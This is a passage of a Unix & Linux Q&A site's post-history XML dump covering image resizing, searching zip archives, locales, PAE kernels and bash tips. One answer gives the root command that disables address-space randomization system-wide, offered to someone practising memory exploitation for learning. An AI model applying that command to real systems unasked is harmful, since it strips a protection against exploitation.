  <row Id="29420" PostHistoryTypeId="5" PostId="11975" RevisionGUID="5ec86501-f26a-45f4-a315-67342f0648c6" CreationDate="2011-04-26T12:32:28.510" UserId="6935" Comment="added bash script" Text="You want all your photos to be 6x4 with a width of 1024, right? That means they should be 683 pixels high.&#xD;&#xA;&#xD;&#xA;If that is correct, what you're looking for is ...&#xD;&#xA;&#xD;&#xA;`convert  &lt;input_image&gt;  -resize 1024x683^  -gravity center  -extent 1024x683  &lt;output_image&gt;`&#xD;&#xA;&#xD;&#xA;... where you would replace *&lt;input_image&gt;* with the filename of the image you want to resize, and *&lt;output_image&gt;* with the new filename.&#xD;&#xA;&#xD;&#xA;This will crop the edges to fit the aspect and resize them to 1024x683. It will make small images larger, as well as making large images smaller to fit your size.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&amp;nbsp;&#xD;&#xA;&#xD;&#xA;When you want to resize all images in a directory, you'll need to write a quick bash script, which would look like ...&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    for f in *.jpg&#xD;&#xA;    do&#xD;&#xA;    	echo $f&#xD;&#xA;    	convert $f  -resize 1024x683^  -gravity center  -extent 1024x683  print_$f&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;You then just make the script executable. (Say you saved the script as *rename.sh*, you run `chmod u+x rename.sh`.) Then you run the script `./rename.sh` which will resize all the images in the same directory.&#xD;&#xA;" />
  <row Id="29421" PostHistoryTypeId="2" PostId="12043" RevisionGUID="f0383d90-551d-41ca-8db5-fc9109550c1d" CreationDate="2011-04-26T12:43:59.233" UserId="6961" Text="For NIDS, Suricata and Bro are two free alternatives to snort.&#xD;&#xA;&#xD;&#xA;Here's an interesting article discussing all three of them:&lt;br&gt;&#xD;&#xA;[http://blog.securitymonks.com/2010/08/26/three-little-idsips-engines-build-their-open-source-solutions/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Have to mention [OSSEC][2], which is a HIDS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.securitymonks.com/2010/08/26/three-little-idsips-engines-build-their-open-source-solutions/&#xD;&#xA;  [2]: http://www.ossec.net" />
  <row Id="29422" PostHistoryTypeId="5" PostId="12040" RevisionGUID="73e125f8-d70e-4e39-bb7d-568a34ff3c9f" CreationDate="2011-04-26T12:54:33.700" UserId="1925" Comment="English and clarity." Text="I have 2 questions.&#xD;&#xA;&#xD;&#xA;1. During Linux installation we specify memory space for 2 mount points - root and swap. Are there any other mount points created without the users notice? &#xD;&#xA;2. Is this statement correct: &quot;mounting comes into the picture only when dealing with different partitions. i.e, you cannot mount, say, /proc unless it's a different partition&quot;?" />
  <row Id="29423" PostHistoryTypeId="24" PostId="12040" RevisionGUID="73e125f8-d70e-4e39-bb7d-568a34ff3c9f" CreationDate="2011-04-26T12:54:33.700" Comment="Proposed by 1925 approved by 29 edit id of 330" />
  <row Id="29426" PostHistoryTypeId="2" PostId="12044" RevisionGUID="2bb16d5d-41ed-4490-8b96-53138839131d" CreationDate="2011-04-26T13:42:08.683" UserId="6797" Text="I have 100s of directories and within those i have few zip files.&#xD;&#xA;Now there are  image name abc.jpg in those zip file. Now zip files may be in any folder or in any subfolder so its difficult to extract all at one place.&#xD;&#xA;&#xD;&#xA;i just want to collect those images . Is it possible" />
  <row Id="29427" PostHistoryTypeId="1" PostId="12044" RevisionGUID="2bb16d5d-41ed-4490-8b96-53138839131d" CreationDate="2011-04-26T13:42:08.683" UserId="6797" Text="Is it possible in unix to search in zip files" />
  <row Id="29428" PostHistoryTypeId="3" PostId="12044" RevisionGUID="2bb16d5d-41ed-4490-8b96-53138839131d" CreationDate="2011-04-26T13:42:08.683" UserId="6797" Text="ébashàésedàéawkà" />
  <row Id="29429" PostHistoryTypeId="6" PostId="12044" RevisionGUID="17a7e536-0f0f-412d-8642-404e683c3e64" CreationDate="2011-04-26T13:47:11.747" UserId="1925" Comment="edited tags" Text="éshellàéfindàésearchàézipà" />
  <row Id="29430" PostHistoryTypeId="2" PostId="12045" RevisionGUID="853022cf-b2f0-4b0d-ae58-20e39738ff9b" CreationDate="2011-04-26T13:57:44.937" UserId="2343" Text="First off: Although I can understand the relevance of geographic-region detail for LC_TIME, LC_NUMERIC, and most other LC_* vars, I don't quite see how 'en_AU' relates to LC_CTYPE...  &#xD;&#xA;Isn't UTF-8 enough of a definition in itself (for LC_CTYPE), as it is globally consistant?... &#xD;&#xA;&#xD;&#xA;Thinking about it as I write, it may be that different regions of the world capitalize their lower-case letters differently...  If this is the case, how does `iconv` handle this?..  &#xD;&#xA;This `iconv` point is actually what started me on this line of thought.  &#xD;&#xA;&#xD;&#xA;My next puzzle is: What do the line-items in the output from `locale LC_CTYPE` refer to, and/or where is a good place to get a layout... Perhaps a more relevant question is: By whom, and where, would this info be needed? ..  &#xD;&#xA;I'm pretty sure I don't need it... but it all help to fill in the picture of 'scripts' and 'encodings' and 'locales'; which is surprisingly *non-trivial* as soon as you leave the *world of ASCII*. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29431" PostHistoryTypeId="1" PostId="12045" RevisionGUID="853022cf-b2f0-4b0d-ae58-20e39738ff9b" CreationDate="2011-04-26T13:57:44.937" UserId="2343" Text="What is the relevance of 'en_AU' in 'LC_CTYPE'? and what is `locate LC_CTYPE` output all about?" />
  <row Id="29432" PostHistoryTypeId="3" PostId="12045" RevisionGUID="853022cf-b2f0-4b0d-ae58-20e39738ff9b" CreationDate="2011-04-26T13:57:44.937" UserId="2343" Text="élocaleà" />
  <row Id="29433" PostHistoryTypeId="5" PostId="12044" RevisionGUID="bc7b9ee8-b803-4d63-b292-a5e585b3d623" CreationDate="2011-04-26T14:01:33.830" UserId="1925" Comment="English language fixes." Text="I have 100s of directories and within those I have a few zip files. Now there are  images named abc.jpg in those zip files. The zip files may be in any folder or in any subfolder so its difficult to extract them all in one place.&#xD;&#xA;&#xD;&#xA;I just want to collect those image files. Is this possible?" />
  <row Id="29434" PostHistoryTypeId="4" PostId="12044" RevisionGUID="bc7b9ee8-b803-4d63-b292-a5e585b3d623" CreationDate="2011-04-26T14:01:33.830" UserId="1925" Comment="English language fixes." Text="Is it possible in unix to search inside zip files" />
  <row Id="29435" PostHistoryTypeId="24" PostId="12044" RevisionGUID="bc7b9ee8-b803-4d63-b292-a5e585b3d623" CreationDate="2011-04-26T14:01:33.830" Comment="Proposed by 1925 approved by 885 edit id of 331" />
  <row Id="29436" PostHistoryTypeId="5" PostId="12045" RevisionGUID="96548b3c-80f0-4b68-b231-0d1ea10acc22" CreationDate="2011-04-26T14:04:00.817" UserId="2343" Comment="added 79 characters in body; added 26 characters in body; added 16 characters in body" Text="First off: Although I can understand the relevance of geographic-region detail for LC_TIME, LC_NUMERIC, and most other LC_* vars, I don't quite see how 'en_AU' relates to LC_CTYPE...  &#xD;&#xA;Isn't UTF-8 (and other encodings) enough of a definition in themselves (for LC_CTYPE), as and *encoding* by definiton is consistant?... &#xD;&#xA;&#xD;&#xA;Thinking about it as I write, it may be that different regions of the world capitalize their lower-case letters differently...  If this is the case, how does `iconv` handle this?..  &#xD;&#xA;This `iconv` point is actually what started me on this line of thought, becaue it doesn't ask for a locale, it only asks for the input encoding format. &#xD;&#xA;&#xD;&#xA;My next puzzle is: What do the line-items in the output from `locale LC_CTYPE` refer to, and/or where is a good place to get a layout... Perhaps a more relevant question is: By whom, and where, would this info be needed? ..  &#xD;&#xA;I'm pretty sure I don't need it... but it all help to fill in the picture of 'scripts' and 'encodings' and 'locales'; which is surprisingly *non-trivial* as soon as you leave the *world of ASCII*. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29437" PostHistoryTypeId="2" PostId="12046" RevisionGUID="a4dbfecd-bd5e-40c5-8b49-bd0e6f6d306d" CreationDate="2011-04-26T14:08:20.017" UserId="6797" Text="I am looking for some tutorial where a simple script is written using very advanced methods so that i can learn more from" />
  <row Id="29438" PostHistoryTypeId="1" PostId="12046" RevisionGUID="a4dbfecd-bd5e-40c5-8b49-bd0e6f6d306d" CreationDate="2011-04-26T14:08:20.017" UserId="6797" Text="Is there any book , Tutorial on very very advanced shell scripting" />
  <row Id="29439" PostHistoryTypeId="3" PostId="12046" RevisionGUID="a4dbfecd-bd5e-40c5-8b49-bd0e6f6d306d" CreationDate="2011-04-26T14:08:20.017" UserId="6797" Text="ébashàéshellöscriptà" />
  <row Id="29440" PostHistoryTypeId="2" PostId="12047" RevisionGUID="c0d2c39b-08b4-44bc-8414-d9ac35a0cb45" CreationDate="2011-04-26T14:23:43.750" UserId="885" Text="If your unix variant supports [FUSE](http://fuse.sourceforge.net/) (Linux, *BSD, OSX, Solaris all do), mount [AVFS](http://sourceforge.net/projects/avf) to access archives transparently. The command `mountavfs` creates a view of the whole filesystem, rooted at `~/.avfs`, in which archive files have an associated directory that contains the directories and files in the archive. For example, if you have `foo.zip` in the current directory, then the following command is roughly equivalent to `unzip -l foo.zip`:&#xD;&#xA;&#xD;&#xA;    mountavfs    # needs to be done once and for all&#xD;&#xA;    find ~/.avfs$PWD/foo.zip\# -ls&#xD;&#xA;&#xD;&#xA;So, to loop over all images contained in a zip file under the current directory and copy them to `/destination/directory` (with a prompt in case of clash):&#xD;&#xA;&#xD;&#xA;    find ~/.avfs&quot;$PWD&quot; -name '*.zip' -exec sh -c '&#xD;&#xA;        find &quot;${0}#&quot; -name &quot;*.jpg&quot; -exec cp -ip {} &quot;$1&quot; \;&#xD;&#xA;    ' {} /destination/directory \;&#xD;&#xA;&#xD;&#xA;In zsh:&#xD;&#xA;&#xD;&#xA;    cp -ip ~/.avfs$PWD/**/*.zip(e\''REPLY=($REPLY\#/**/*.jpg(N))'\') /destination/directory&#xD;&#xA;&#xD;&#xA;Deconstruction: `~/.avfs$PWD/**/*.zip` expands to the AVFS view of the zip files under the current directory. The glob qualifier `e` is used to modify the output of the glob: `…/*.zip(e\''REPLY=$REPLY\#'\')` would just append a `#` to each match. `REPLY=($REPLY\#/**/*.jpg(N))` transforms each match into the array of `.jpg` files in the `.zip#` directory.&#xD;&#xA;" />
  <row Id="29441" PostHistoryTypeId="2" PostId="12048" RevisionGUID="4f159219-e362-49c2-9f14-2eb5bc3baa3d" CreationDate="2011-04-26T14:35:42.440" UserId="1952" Text="I once needed something similar to find class files in a bunch of zip files. Here it is:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    function process() {&#xD;&#xA;    while read line; do&#xD;&#xA;        if [[ &quot;$line&quot; =~ ^Archive:\s*(.*) ]] ; then&#xD;&#xA;    	    ar=&quot;${BASH_REMATCH[1]}&quot;&#xD;&#xA;    	    #echo &quot;$ar&quot;&#xD;&#xA;        else&#xD;&#xA;        	if [[ &quot;$line&quot; =~ \s*([^ ]*abc\.jpg)$ ]] ; then&#xD;&#xA;    	     	echo &quot;${ar}: ${BASH_REMATCH[1]}&quot;&#xD;&#xA;        	fi&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . -iname '*.zip' -exec unzip -l '{}' \; | process&#xD;&#xA;" />
  <row Id="29442" PostHistoryTypeId="2" PostId="12049" RevisionGUID="5d67feaf-c98d-48ce-aa40-c0c73736d055" CreationDate="2011-04-26T14:38:48.180" UserId="3645" Text="I assume you have a new version of Bash, so you should be able to use this:&#xD;&#xA;&#xD;&#xA;    shopt -s globstar&#xD;&#xA;    for path in topdir/**/*.zip&#xD;&#xA;    do&#xD;&#xA;        unzip &quot;$path&quot; '.*abc.jpg'&#xD;&#xA;    done" />
  <row Id="29443" PostHistoryTypeId="2" PostId="12050" RevisionGUID="c7649f48-bb94-4214-9869-b173ecda8525" CreationDate="2011-04-26T14:41:41.530" UserId="6961" Text="Not sure what very advanced methods would be, but I have the 'Expert Shell Scripting' by Ron Peters (available about anywhere). &lt;br&gt;&lt;br&gt;I'm happy with it :-)." />
  <row Id="29444" PostHistoryTypeId="5" PostId="12048" RevisionGUID="a6b5f336-1b4c-4abc-862b-7b7534a7b63a" CreationDate="2011-04-26T14:44:34.807" UserId="1952" Comment="added 148 characters in body" Text="I once needed something similar to find class files in a bunch of zip files. Here it is:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    function process() {&#xD;&#xA;    while read line; do&#xD;&#xA;        if [[ &quot;$line&quot; =~ ^Archive:\s*(.*) ]] ; then&#xD;&#xA;    	    ar=&quot;${BASH_REMATCH[1]}&quot;&#xD;&#xA;    	    #echo &quot;$ar&quot;&#xD;&#xA;        else&#xD;&#xA;        	if [[ &quot;$line&quot; =~ \s*([^ ]*abc\.jpg)$ ]] ; then&#xD;&#xA;    	     	echo &quot;${ar}: ${BASH_REMATCH[1]}&quot;&#xD;&#xA;        	fi&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . -iname '*.zip' -exec unzip -l '{}' \; | process&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now you only need to add one line to extract the files and maybe move them. I'm not sure exactly what you want to do, so I'll leave that to you." />
  <row Id="29445" PostHistoryTypeId="2" PostId="12051" RevisionGUID="a8daa03d-2031-4d03-8c27-f61cfd1b654b" CreationDate="2011-04-26T14:51:22.883" UserId="885" Text="All the locale variables use the same locale name so that you can specify your favorite locale in a single swoop, e.g. `LANG=en_AU.utf8`. As you surmise, the country information is occasionally relevant, e.g. the uppercase version of `i` is `I` in most languages but `İ` in Turkish (`tr_TR.utf8`). Locales are far from being able to handle all the subtleties of many languages; for example the lowercase-uppercase correspondence is one-to-one, so there's no good uppercase version of `ß` in `de_DE.iso8859-1` (it should be `SS`).&#xD;&#xA;&#xD;&#xA;You'll have an easier time understanding the output of `locale -k LC_CTYPE`, with `-k` to see the keyword names in addition to the values (without `-k`, the output format is designed so you can get the value of a specific keyword, e.g. `locale ctype-width`). The list of keywords and their meanings is system-dependent, and doesn't interest many people, so you may not find much documentation outside the source code of your C library. By far the most useful form of the locale command is `locale -a` to list available locale names.&#xD;&#xA;&#xD;&#xA;Written languages are indeed very complicated, even if you don't stray far from English. Are the French and German `ü` the same character (is a [“tréma”](http://en.wikipedia.org/wiki/Trema_%28diacritic%29#French) exactly the same as an [“umlaut”](http://en.wikipedia.org/wiki/Trema_%28diacritic%29#Umlaut), and does it matter that French and German printers typeset the accent at a slightly different height)? What is the uppercase of `i` (it's `İ` in Turkish)? Does `Ö` transliterate to `O` if you only have ASCII (in German, it's `OE`)? Where is `Ä` sorted in a dictionary (in Swedish, it's after `Z`)? And that's just a few examples with European languages written in the latin alphabet! The [Unicode mailing list](http://unicode.org/consortium/distlist.html) has a lot of examples and sometimes heated discussions on such topics.&#xD;&#xA;" />
  <row Id="29446" PostHistoryTypeId="2" PostId="12052" RevisionGUID="2fc753a3-0f83-47c0-9ccc-a440edc64275" CreationDate="2011-04-26T14:58:23.233" UserId="6964" Text="Hi all.  &#xD;&#xA;I'm reading &quot;The art of exploitation&quot; and would like to try some experiments, including reading from and writing to various memory address. I've created some simple programs and trying to overwrite their variables via various hacks, the problem is that these variables' addresses keep changing every time I run the program, making all this extremely complicated.  &#xD;&#xA;I know this is for security reasons but I'm wondering if is it possible to disable it for learning purposes. Here's my system's and gcc's info:&#xD;&#xA;&#xD;&#xA;    blackbear@blackbear-laptop:~$ uname -a&#xD;&#xA;    Linux blackbear-laptop 2.6.32-30-generic #59-Ubuntu SMP Tue Mar 1 21:30:21 UTC 2011 i686 GNU/Linux&#xD;&#xA;    blackbear@blackbear-laptop:~$ gcc --version&#xD;&#xA;    gcc (Ubuntu 4.4.3-4ubuntu5) 4.4.3&#xD;&#xA;    Copyright (C) 2009 Free Software Foundation, Inc.&#xD;&#xA;    This is free software; see the source for copying conditions.  There is NO&#xD;&#xA;    warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&#xD;&#xA;    &#xD;&#xA;    blackbear@blackbear-laptop:~$ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29447" PostHistoryTypeId="1" PostId="12052" RevisionGUID="2fc753a3-0f83-47c0-9ccc-a440edc64275" CreationDate="2011-04-26T14:58:23.233" UserId="6964" Text="Disable random memory address generation in my programs" />
  <row Id="29448" PostHistoryTypeId="3" PostId="12052" RevisionGUID="2fc753a3-0f83-47c0-9ccc-a440edc64275" CreationDate="2011-04-26T14:58:23.233" UserId="6964" Text="ésecurityàémemoryà" />
  <row Id="29449" PostHistoryTypeId="5" PostId="11993" RevisionGUID="edea1fc1-3afe-4dd1-b733-d5070c4bbd98" CreationDate="2011-04-26T15:01:45.963" UserId="885" Comment="added zsh trick to test the existence of a file matching a pattern in a single command" Text="`find` considers finding nothing a special case of success (no error occurred). A general way to test whether files match some `find` criteria is to test whether the output of `find` is empty. For better efficiency when there are matching files, use `-quit` on GNU find to make it quit at the first match, or `head` (`head -c 1` if available, otherwise `head -n 1` which is standard) on other systems to make it die of a broken pipe rather than produce long output.&#xD;&#xA;&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      [ -n &quot;$(find . -name &quot;$name&quot; -print | head -n 1)&quot; ] || printf '%s\n' &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;&#xD;&#xA;In bash ≥4 or zsh, you don't need the external `find` command for a simple name match: you can use `**/$name`. Bash version:&#xD;&#xA;&#xD;&#xA;    shopt -s nullglob&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      set -- **/&quot;$name&quot;&#xD;&#xA;      [ $# -ge 1 ] || printf '%s\n' &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;    &#xD;&#xA;Zsh version on a similar principle:&#xD;&#xA;&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      set -- **/&quot;$name&quot;(N)&#xD;&#xA;      [ $# -ge 1 ] || print -- &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;&#xD;&#xA;Or here's a shorter but more cryptic way of testing the existence of a file matching a pattern. The glob qualifier `N` makes the output empty if there is no match, `[1]` retains only the first match, and `e:REPLY=true:` changes each match to expand to `1` instead of the matched file name. So `**/&quot;$name&quot;(Ne:REPLY=true:[1]) false` expands to `true false` if there is a match, or to just `false` if there is no match.&#xD;&#xA;&#xD;&#xA;    while IFS= read -r name; do&#xD;&#xA;      **/&quot;$name&quot;(Ne:REPLY=true:[1]) false || print -- &quot;$name&quot;&#xD;&#xA;    done &lt;file_list&#xD;&#xA;&#xD;&#xA;It would be more efficient to combine all your names into one search. If the number of patterns is not too large for your system's length limit on a command line, you can join all the names with `-o`, make a single `find` call, and post-process the output. If none of the names contain shell metacharacters (so that the names are `find` patterns as well), here's a way to post-process with awk (untested):&#xD;&#xA;&#xD;&#xA;    set -o noglob; IFS='&#xD;&#xA;    '&#xD;&#xA;    set -- $(&lt;file_list sed -e '2,$s/^/-o\&#xD;&#xA;    /')&#xD;&#xA;    set +o noglob; unset IFS&#xD;&#xA;    find . \( &quot;$@&quot; \) -print | awk -F/ '&#xD;&#xA;        BEGIN {while (getline &lt;&quot;file_list&quot;) {found[$0]=0}}&#xD;&#xA;        wanted[$0]==0 {found[$0]=1}&#xD;&#xA;        END {for (f in found) {if (found[f]==0) {print f}}}&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Another approach would be to use Perl and `File::Find`, which makes it easy to run Perl code for all the files in a directory.&#xD;&#xA;&#xD;&#xA;    perl -MFile::Find -l -e '&#xD;&#xA;        %missing = map {chomp; $_, 1} &lt;STDIN&gt;;&#xD;&#xA;        find(sub {delete $missing{$_}}, &quot;.&quot;);&#xD;&#xA;        print foreach sort keys %missing'&#xD;&#xA;&#xD;&#xA;An alternate approach is to generate a list of file names on both sides and work on a text comparison. Zsh version:&#xD;&#xA;&#xD;&#xA;    comm -23 &lt;(&lt;file_list sort) &lt;(print -rl -- **/*(:t) | sort)&#xD;&#xA;" />
  <row Id="29450" PostHistoryTypeId="25" PostId="12040" RevisionGUID="722f1542-1e9d-4249-9149-b300ae9997a1" CreationDate="2011-04-26T15:09:10.787" Comment="http://twitter.com/#!/StackUnix/status/62896005808521217" />
  <row Id="29451" PostHistoryTypeId="2" PostId="12053" RevisionGUID="c015a644-932c-44f4-bee0-ce48cad8afbd" CreationDate="2011-04-26T15:10:23.857" UserId="3645" Text="Once you've graduated from the [Advanced Bash-Scripting Guide][1], I'd suggest the much more useful [Greg's Wiki][2] (especially the [Pitfalls][3] article). It's the single most useful Bash resource I've ever seen, and significantly, is an active (and actively moderated) wiki with even anonymous editing.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/&#xD;&#xA;  [2]: http://mywiki.wooledge.org/&#xD;&#xA;  [3]: http://mywiki.wooledge.org/BashPitfalls" />
  <row Id="29452" PostHistoryTypeId="5" PostId="12053" RevisionGUID="f032cc74-057e-46cc-8b58-5ef4fd65f942" CreationDate="2011-04-26T15:28:07.407" UserId="3645" Comment="Example script; deleted 9 characters in body" Text="Once you've graduated from the [Advanced Bash-Scripting Guide][1], I'd suggest the much more useful [Greg's Wiki][2] (especially the [Pitfalls][3] article). It's the single most useful Bash resource I've ever seen, and significantly, is an active (and actively moderated) wiki with even anonymous editing.&#xD;&#xA;&#xD;&#xA;As for simple scripts using advanced methods, it's difficult to judge what would be advanced for you. One of my own most advanced scripts was one find and loop over all files matching a user-provided path, in such a way that it would be *impossible* to craft a search string or filename to break the code or perform some sort of code injection (Unfortunately Bash gets really complicated if you want to use it securely). [The script][4] was documented to explain the reasoning behind all the non-trivial syntax, so it might have some learning potential. YMMV.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/&#xD;&#xA;  [2]: http://mywiki.wooledge.org/&#xD;&#xA;  [3]: http://mywiki.wooledge.org/BashPitfalls&#xD;&#xA;  [4]: https://github.com/l0b0/tilde/blob/master/examples/safe-find.sh" />
  <row Id="29453" PostHistoryTypeId="2" PostId="12054" RevisionGUID="7b514b63-71fc-4f1e-add0-cdca644e4f56" CreationDate="2011-04-26T15:29:53.537" UserId="4856" Text="I ask this only in regards to memory addressing.&#xD;&#xA;&#xD;&#xA;I know that a PAE kernel allows the OS to access more memory than a standard 32-bit kernel, however, what are the other implications? What specific differences are there between a 64-bit kernel and a 32-bit PAE kernel?&#xD;&#xA;&#xD;&#xA;According to Wikipedia, a processes address space remains at 32-bits, meaning it can only access a maximum of 4GB of memory. The OS however can access a 64GB address space, allocating 4GB chunks to processes.&#xD;&#xA;&#xD;&#xA;To me it seems like this is a big distinction that seems to be ignored by many people." />
  <row Id="29454" PostHistoryTypeId="1" PostId="12054" RevisionGUID="7b514b63-71fc-4f1e-add0-cdca644e4f56" CreationDate="2011-04-26T15:29:53.537" UserId="4856" Text="What is the difference between 32-bit PAE and 64-bit kernels?" />
  <row Id="29455" PostHistoryTypeId="3" PostId="12054" RevisionGUID="7b514b63-71fc-4f1e-add0-cdca644e4f56" CreationDate="2011-04-26T15:29:53.537" UserId="4856" Text="élinuxàékernelàémemoryàé64bitàépaeà" />
  <row Id="29456" PostHistoryTypeId="2" PostId="12055" RevisionGUID="c0598ca2-60e2-437a-95dd-d3d7ee6a53a1" CreationDate="2011-04-26T15:33:55.890" UserId="173" Text="If I'm not mistaken it should be possible to disable the address space randomization via proc filesystem:&#xD;&#xA;&#xD;&#xA;echo 0 &gt; /proc/sys/kernel/randomize_va_space&#xD;&#xA;&#xD;&#xA;Obviously, you have to be root for this." />
  <row Id="29457" PostHistoryTypeId="5" PostId="12051" RevisionGUID="214eaa20-f201-4cee-8b77-1de51cfbedf4" CreationDate="2011-04-26T16:09:05.530" UserId="885" Comment="deleted 34 characters in body" Text="All the locale variables use the same locale name so that you can specify your favorite locale in a single swoop, e.g. `LANG=en_AU.utf8`. As you surmise, the country information is occasionally relevant even in `LC_CTYPE`, e.g. the uppercase version of `i` is `I` in most languages but `İ` in Turkish (`tr_TR.utf8`). But don't expect miracles; for example the lowercase-uppercase correspondence is one-to-one, so there's no good uppercase version of `ß` in `de_DE.iso8859-1` (it should be `SS`).&#xD;&#xA;&#xD;&#xA;You'll have an easier time understanding the output of `locale -k LC_CTYPE`, with `-k` to see the keyword names in addition to the values (without `-k`, the output format is designed so you can get the value of a specific keyword, e.g. `locale ctype-width`). The list of keywords and their meanings is system-dependent, and doesn't interest many people, so you may not find much documentation outside the source code of your C library. By far the most useful form of the locale command is `locale -a` to list available locale names.&#xD;&#xA;&#xD;&#xA;Written languages are indeed very complicated, even if you don't stray far from English. Are the French and German `ü` the same character (is a [“tréma”](http://en.wikipedia.org/wiki/Trema_%28diacritic%29#French) exactly the same as an [“umlaut”](http://en.wikipedia.org/wiki/Trema_%28diacritic%29#Umlaut), and does it matter that French and German printers typeset the accent at a slightly different height)? What is the uppercase of `i` (it's `İ` in Turkish)? Does `Ö` transliterate to `O` if you only have ASCII (in German, it's `OE`)? Where is `Ä` sorted in a dictionary (in Swedish, it's after `Z`)? And that's just a few examples with European languages written in the latin alphabet! The [Unicode mailing list](http://unicode.org/consortium/distlist.html) has a lot of examples and sometimes heated discussions on such topics.&#xD;&#xA;" />
  <row Id="29458" PostHistoryTypeId="2" PostId="12056" RevisionGUID="5715543d-10d4-4d83-90a0-6b9e855b2a10" CreationDate="2011-04-26T16:10:07.327" UserId="6960" Text="I wanted to put this in the dhclient.conf file:&#xD;&#xA;&#xD;&#xA;supersede domain-name &quot;foo.org foo2.org&quot;;&#xD;&#xA;&#xD;&#xA;but there is no dhclient.conf file...where is it? (Fedora14/GNOME)" />
  <row Id="29459" PostHistoryTypeId="1" PostId="12056" RevisionGUID="5715543d-10d4-4d83-90a0-6b9e855b2a10" CreationDate="2011-04-26T16:10:07.327" UserId="6960" Text="Where is the dhclient.conf under Fedora 14?" />
  <row Id="29460" PostHistoryTypeId="3" PostId="12056" RevisionGUID="5715543d-10d4-4d83-90a0-6b9e855b2a10" CreationDate="2011-04-26T16:10:07.327" UserId="6960" Text="éfedoraàédhcpà" />
  <row Id="29461" PostHistoryTypeId="4" PostId="12045" RevisionGUID="babd5ddb-a2ff-4773-bccf-7a259e5b2e3d" CreationDate="2011-04-26T16:16:36.087" UserId="2343" Comment="edited title" Text="What is the relevance of 'en_AU' in 'LC_CTYPE'? and what is `locale LC_CTYPE` output all about?" />
  <row Id="29467" PostHistoryTypeId="2" PostId="12059" RevisionGUID="4d80c6e2-1ca8-4ce9-87bd-6723b8ce3b81" CreationDate="2011-04-26T17:20:17.677" UserId="6388" Text="Is it possible to forcibly add a timing alias (for lack of a better way to phrase it) to every command in `bash`?&#xD;&#xA;&#xD;&#xA;For example, I would like to have a specific user who whenever a command is run, it is always wrapped either with `date` before and after, or `time`.&#xD;&#xA;&#xD;&#xA;Is this possible, and, if so, how?" />
  <row Id="29468" PostHistoryTypeId="1" PostId="12059" RevisionGUID="4d80c6e2-1ca8-4ce9-87bd-6723b8ce3b81" CreationDate="2011-04-26T17:20:17.677" UserId="6388" Text="Forcing an 'added' alias to every command" />
  <row Id="29469" PostHistoryTypeId="3" PostId="12059" RevisionGUID="4d80c6e2-1ca8-4ce9-87bd-6723b8ce3b81" CreationDate="2011-04-26T17:20:17.677" UserId="6388" Text="ébashàémonitoringàéaliasàédateàétimeà" />
  <row Id="29470" PostHistoryTypeId="2" PostId="12060" RevisionGUID="1a5a8214-b2bd-47f8-93e6-7f4edb726598" CreationDate="2011-04-26T17:39:25.580" UserId="6151" Text="You might want to look into what Linus Torwalds says about it [here][1]:&#xD;&#xA;&#xD;&#xA;&gt; PAE turned that very simple fact on its head, and screwed things up royally. Whoever came up with the idea was totally incompetent, and had forgotten all the DOS HIGHMEM pains. There’s a damn good reason why we left the 286 behind, and started using 386′s, instead of having HIGHMEM crap with windows into a bigger physical space.&#xD;&#xA;&gt;&#xD;&#xA;&gt; [...]&#xD;&#xA;&gt;&#xD;&#xA;&gt; So repeat after me: PAE didn’t ever really fix anything. It was a mistake. It was just a total failure, and the result of hw engineers not understanding software.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.linuxolution.org/archives/117" />
  <row Id="29471" PostHistoryTypeId="2" PostId="12061" RevisionGUID="efa8fd1a-2eb2-4a7c-bace-91d46b41eae9" CreationDate="2011-04-26T17:43:14.767" UserId="2421" Text="The easiest way would probably to set `PROMPT_COMMAND`.  See [Bash Variables][1]:&#xD;&#xA;&#xD;&#xA;&gt;PROMPT_COMMAND&lt;br&gt;&#xD;&#xA;    If set, the value is interpreted as a command to execute before the printing of each primary prompt (`$PS1`). &#xD;&#xA;&#xD;&#xA;For example, to avoid overwriting any existing prompt command, you could do:&#xD;&#xA;&#xD;&#xA;    PROMPT_COMMAND=&quot;date ; ${PROMPT_COMMAND}&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html#index-PROMPT_005fCOMMAND-225" />
  <row Id="29472" PostHistoryTypeId="2" PostId="12062" RevisionGUID="db31bf97-d128-4477-b97c-0a00b0d43cf0" CreationDate="2011-04-26T18:05:58.360" UserId="3879" Text="You can try something like this code:&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN { FS=&quot;[,:]&quot; } { print $1, $2, $4, $5, $3 }' input_file&#xD;&#xA;&#xD;&#xA;Here, we specify multiple field separators (, and :) using the AWK built in variable, `FS`. Multiple field separators are enclosed within `[]`." />
  <row Id="29473" PostHistoryTypeId="25" PostId="12052" RevisionGUID="73fd0504-6d64-4965-823c-f738d29d322e" CreationDate="2011-04-26T18:09:11.040" Comment="http://twitter.com/#!/StackUnix/status/62941303712919552" />
